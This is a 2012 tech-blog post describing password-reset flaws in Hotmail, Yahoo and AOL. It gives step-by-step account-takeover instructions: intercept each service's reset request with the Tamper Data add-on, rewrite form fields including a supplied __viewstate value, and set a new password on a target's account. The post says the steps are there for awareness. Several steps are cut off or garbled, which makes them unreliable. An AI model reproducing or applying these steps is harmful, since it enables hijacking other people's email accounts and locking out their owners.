What Gadget you are getting this Holiday?

View Results

Loading ... Loading ...
1 Star2 Stars3 Stars4 Stars5 Stars (Rate This)
Loading ... Loading ...

Quite recently, a zero day vulnerability was found in Hotmail which would put the account security of a Hotmail user at jeopardy. The vulnerability allowed a hacker to reset the account’s password to his own choice and through this, lock out the actual owner of the account. That’s apparently the tip of an iceberg. Now, similar vulnerabilities have been found in AOL and Yahoo too.


The vulnerability actually utilizes the Tamper Data add-on. Through this add-on, the hacker is able to tackle the outgoing HTTP request from a browser the very moment the request is being sent. Then he is able to modify whatever data is being sent. In this way, if you try to reset your password, the hacker can gain access to this request, input his own password for resetting and then have the account’s password reset. As a result, you are locked out of your account and the hacker gains controls of it.

Given below is a detailed, step-by-step description of how the process is performed so that you may be well aware if it ever happens to you.

Vulnerability in Hotmail:

  • Go to https://maccount.live.com/ac/resetpwdmain.aspx
  • Enter the target email and then the 6 characters as verification
  • Initiate Tamper Data
  • Delete the element “SendEmail_ContinueCmd”
  • Replace Element  “__V_previousForm” with “ResetOptionForm”
  • Change “__viewstate” to “%2FwEXAQUDX19QDwUPTmV3UGFzc3dvcmRGb3JtZMw%2BEPFW%2Fak6gMIVsxSlDMZxkMkI”
  • Hit Ok and Type any new password that you like
  • Start Tamper Data again and “__V_SecretAnswerProof”

Vulnerability in Yahoo:

  • Browse to the link https://edit.yahoo.com/forgot .
  • Enter target email and 6 verification characters
  • Start Tamper Data
  • Change element  “Stage” to “fe200″
  • Hit Ok and then enter the new password
  • Start Tamper Data All in Element Z

Vulnerability in AOL:

  • Browse to the Reset page.
  • Enter target email and verification characters
  • Start Tamper Data
  • Change the element  “action” to “pwdReset”
  • Change the element  “isSiteStateEncoded” to “false”
  • Hit Ok and type new password
  • Start Tamper Data All in Element mdNO

Buy Cheapest Related Product From Amazon.com


Six-year-old Boy May Achieve ‘The World’s Youngest Computer Programmer’ Title

Aatma Studio Imagines New Self-Destruct Feature In iPhone 5
You can also press the left/right arrow key on your keyboard to go to previous/next post
  On April 29, 2012(2 years, 3 months ago.)

Recent Products

Compare  
Buy Now | Compare  

What Do You Think?

Loading Disqus Comments ...
Loading Facebook Comments ...

Recent Search

Recent Tutorials

The trick will let you to check your Facebook messages in the original app without downloading Messenger and it works with both iPhone or Android phone.
Want to block all disgusting ads from your android device? Read the tutorial to know how you can block ads on your Android and save data.
Want to repair your memory card? It's very easy to fix corrupted or damaged memory card. In fact you can fix it by yourself.
Are you the one who is frustrated because of the speed of your Android device? No worries, the article will help you increase the speed of that device.
Lately, Google has updated its Google Docs. Now users can crop, rotate, and add borders to images in a document without leaving Google Docs.
Adobe CS products are not free, but the good news is you can now download Photoshop CS2 & all other CS2 product completely free and it's absolutely legal.
At the beginning level, many people don't know how to use Gmail properly. For them, a here's a helpful guideline.
Skype now allows you to call directly from your Outlook account. Find the step-by-step installation process from this tutorial.
This tutorial helps you quickly resolve four of the most common problems that occur with Windows XP.
After releasing Look Back, many people didn't like it. So Facebook planned to add an Edit tool to the feature and now you can edit your Facebook Look Back video.
Close You Have To Login
User:
Pass:
Login With »Login With TwitterLogin With Facebook